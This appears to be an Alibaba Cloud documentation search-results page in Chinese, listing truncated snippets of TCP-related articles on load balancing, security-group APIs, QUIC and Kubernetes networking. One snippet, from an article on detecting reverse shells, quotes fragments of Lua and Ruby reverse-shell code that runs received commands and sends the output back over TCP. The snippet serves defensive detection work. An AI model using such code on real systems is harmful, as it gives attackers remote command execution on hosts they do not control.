添加TCP监听
当您的业务属于注重可靠性、对数据准确性要求高和速度可以相对较慢的场景，例如文件传输、发送或接收邮件和远程登录等，您可以为CLB实例添加一个TCP监听，在CLB实例上转发来自客户端的TCP协议请求至后端服务器进行处理。前提条件 您已经...
服务网格工作原理
这里的 xtream 用来保持和客户端 App 的 TCP 关联，后续用来用于响应 response。MOSN 需要将请求转发到服务集群的某一台机器，会到达 proxy 层创建 downstream。此步骤实现目的如下：执行 filter 请求/响应链。执行路由匹配。执行负载均衡...
全球加速FAQ
全球加速实例的CNAME只是用来标记后端服务源站，并没有经过备案，客户端无法直接通过全球加速实例的CNAME加速访问后端服务。如果您希望通过全球加速实例的CNAME加速访问后端服务，您可以在您的DNS解析平台添加CNAME记录，将后端服务的域名...
RevokeSecurityGroupEgress-删除一条或多条出方向安全...
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
RevokeSecurityGroup-删除安全组入方向规则
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
ModifySecurityGroupRule-修改安全组入方向规则的描述...
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
TCP-RT功能的配置说明
Alibaba Cloud Linux 2（内核版本 4.19.91-21.al7 开始）和Alibaba Cloud Linux 3开始支持TCP层的服务监控功能（TCP-RT）。背景信息 TCP-RT本质是一种trace方式。通过在内核TCP协议栈中相应的位置设置埋点，可以在单个连接上只有一个并发...
测试TCP监听协议的加速效果
如果您的全球加速配置的监听协议是TCP协议，您可以通过curl命令测试全球加速的加速效果。前提条件 开始前，请确保满足以下条件。您已经添加了监听，且监听协议为TCP协议。详细信息，请参见 添加和管理智能路由类型监听。您已经在终端节点...
会话保持常见问题
登录用来测试的Linux服务器。执行以下命令查询负载均衡服务器Cookie值。curl-c test.cookie http://10.170.XX.XX/check.jsp 说明 阿里云负载均衡会话保持默认模式是植入Cookie，而curl测试默认不会保存和发送Cookie，所以必须先保存相应的...
TCP连接超时时间配置
概述 用户的客户端调用API网关的引擎，API网关的引擎调用用户的后端服务，目前都使用的是TCP连接，关于TCP连接，一些超时时间的配置会影响到整个通信过程，配置不合理会导致不同情形的问题，甚至导致故障。本文档站在API网关的角度对API...
云安全中心反弹Shell多维检测技术详解
while true do local cmd,status,partial=tcp:receive()local f=io.popen(cmd,"r")local s=f:read("*a")f:close()tcp:send(s)if status="closed"then break end end tcp:close()' 案例三：ruby-rsocket-e 'exit if fork;c=TCPSocket.new(...
关于TCP内网接入点设置的公告
为了进一步提升 云消息队列 RocketMQ 版 服务的稳定性，并以此保障您应用的稳定性，针对部署在某地域（Region）的应用，如果您使用的是TCP协议下的SDK，则需使用该地域的 云消息队列 RocketMQ 版 服务的TCP内网接入点。本文提供对应地域的...
淘宝App在短视频场景下的IETF QUIC最佳实践
QUIC协议与TCP协议对比 既然QUIC协议设计初衷是解决传输层协议问题，与其竞对的就是TCP协议，那么从传输协议特性分析两种协议设计差异，可得出以下对比：QUIC为每个加密级别使用单独的包号空间，除了0-RTT和1-RTT密钥使用相同的包号空间，...
DCDN为淘宝App短视频场景加速的IETF QUIC最佳实践
QUIC协议与TCP协议对比 既然QUIC协议设计初衷是解决传输层协议问题，与其竞对的就是TCP协议，那么从传输协议特性分析两种协议设计差异，可得出以下对比：QUIC为每个加密级别使用单独的包号空间，除了0-RTT和1-RTT密钥使用相同的包号空间，...
CLB健康检查FAQ
由于TCP对上层业务状态无感知，同时，为了降低负载均衡健康检查成本和对后端业务的冲击，当前负载均衡针对TCP协议服务端口的健康检查只会做简单的TCP三次握手，而后直接发送RST包断开TCP连接。数据交互流程如下：负载均衡服务器向后端负载...
什么是chargen服务放大DDoS攻击
详细信息 什么是 CHARGEN 协议 CHARGEN 字符发生器协议（Character Generator Protocol）是一种简单网络协议，设计的目的是用来调试TCP或UDP协议程序、测量连接的带宽或进行QoS的微调等。它的默认端口为19，分为基于TCP和UDP两种方式。TCP...
Nginx Ingress FAQ
apiVersion:v1 kind:ConfigMap metadata:name:tcp-services namespace:kube-system data:9000:"default/tcp-echo:9000"#表示任何通过端口9000接收到的外部TCP流量都将被路由到default命名空间下名为tcp-echo的服务上，该服务监听的是内部...
使用ACK Net Exporter定位网络问题
type=PACKETLOSS pod=hostNetwork namespace=hostNetwork protocol=TCP saddr=10.1.17.172 sport=6443 daddr=10.1.17.176 dport=43018 stacktrace:skb_release_data+0xA3_kfree_skb+0xE tcp_recvmsg+0x61D inet_recvmsg+0x58 sock_read_...
在支持TCP的广域网模组上集成SDK
注意：*入参host是一个域名，需要转换为IP地址*返回值是tcp的socket号 2 HAL_TCP_Destroy 关闭tcp连接，入参是HAL_TCP_Establish的返回值，返回值0表示成功 3 HAL_TCP_Write 通过TCP连接发送数据。注意：*该函数传入了一个超时时间，如果...
名词解释
RTMP是一种设计用来进行实时数据通信的网络协议，主要用来在Flash/AIR平台和支持RTMP协议的流媒体/交互服务器之间进行音视频和数据通信。TS TS的全称则是Transport Stream，TS流文件，是一种DVD的文件格式，MPEG2-TS格式的特点就是要求从...
Kubernetes的Service如何进行会话保持
apiVersion:v1 kind:Service metadata:name:session1 namespace:default spec:clusterIP:10.XX.XX.217 ports:port:80 protocol:TCP targetPort:80 selector:app:nginx type:ClusterIP 连接Kubernetes集群，详情请参见 连接Kubernetes集群，...
CLB后端服务器FAQ
您可以在控制台上创建监听时关闭Gzip压缩功能，或改用TCP监听。ECS实例使用了HTTP 1.0是否支持chunked transfer传输编码？支持。为什么CLB后端ECS实例频繁收到User-Agent为KeepAliveClient的请求？问题现象：CLB 后端的ECS实例即使在没有...
Linux系统的ECS实例中通过netstat命令查看和检查系统...
netstat命令使用介绍 netstat命令常用的命令组合 netstat命令处理端口占用 netstat命令使用介绍 netstat 命令通常是用来监控TCP/IP网络的工具，可以显示路由表、实际的网络连接以及每一个网络接口设备的状态信息。如果需要了解当前系统开放...
NLB压力测试的方法
使用PTS简单压测示例 创建一个 NLB 实例，并为该 NLB 实例添加一个TCP 80监听和TCPSSL 443监听，TCP监听和TCPSSL监听均添加了两台ECS实例作为后端服务器，后端端口均设置为80。ECS服务器的配置为CPU 2核，内存2 GiB且使用CentOS 7.9 64位的...
ModifyHealthCheckConfig-编辑健康检查配置
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
AddDnsGtmMonitor-添加健康检查
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
多终端节点组流量调配使用示例
场景示例 假设某公司业务部署在北京和上海，服务协议与端口为TCP 80，客户端主要集中在北京地域。该公司已通过全球加速添加了北京加速地域、北京地域终端节点组和上海地域终端节点组。全球加速默认将北京客户端的访问流量全部就近转发至...
CreatePort-创建一条端口转发规则
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
ModifyPort-修改已创建的端口转发规则
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
CLB监听服务FAQ
登录用来测试的Linux服务器。执行以下命令查询负载均衡服务器Cookie值。curl-c test.cookie http://10.170.XX.XX/check.jsp 说明 阿里云负载均衡会话保持默认模式是植入Cookie，而curl测试默认不会保存和发送Cookie，所以必须先保存相应的...
CreateCustomRoutingEndpointGroupDestinations-创建...
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
ModifyNetworkRuleAttribute-编辑端口转发规则的会话...
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
lwip
更正文档 概述 LwIP（Light Weight Internet Protoco1）是瑞士计算机科学院（Swedish Institute of Computer Science）AdamDunkels等人开发的一套用于嵌入式系统的开放源代码TCP／IP协议栈。LWIP的含义是Light Weight（轻型）IP协议。LWIP...
如何提高Nginx Web服务器的安全性
IF}-p tcp-tcp-flags ALL NONE-m limit-limit 5/m-limit-burst 7-j LOG-log-prefix”NULL Packets“$IPT-A INPUT-i${PUB_IF}-p tcp-tcp-flags ALL NONE-j DROP$IPT-A INPUT-i${PUB_IF}-p tcp-tcp-flags SYN,RST SYN,RST-j DROP#Drop XMAS$...
AddDnatEntry-给智能接入网关实例添加DNAT条目
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
CreateListener-创建监听
在网络型负载均衡实例中创建TCP、UDP或TCPSSL监听。调试 您可以在OpenAPI Explorer中直接运行该接口，免去您计算签名的困扰。运行成功后，OpenAPI Explorer可以自动生成SDK代码示例。调试 授权信息 下表是API对应的授权信息，可以在RAM权限...
ModifyControlPolicy-修改安全访问控制策略的配置信息
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
ModifyNatFirewallControlPolicy-修改NAT防火墙访问...
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
AddACLRule-添加访问控制规则
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
CreateQosPolicy-创建QoS五元组规则
调试 授权信息 下表是API对应的授权信息，可以在RAM权限策略语句的 Action 元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：操作：是指具体的权限点。访问级别：是指每个操作的访问级别，取值为写入（Write）、读取...
- 产品推荐
- 这些文档可能帮助您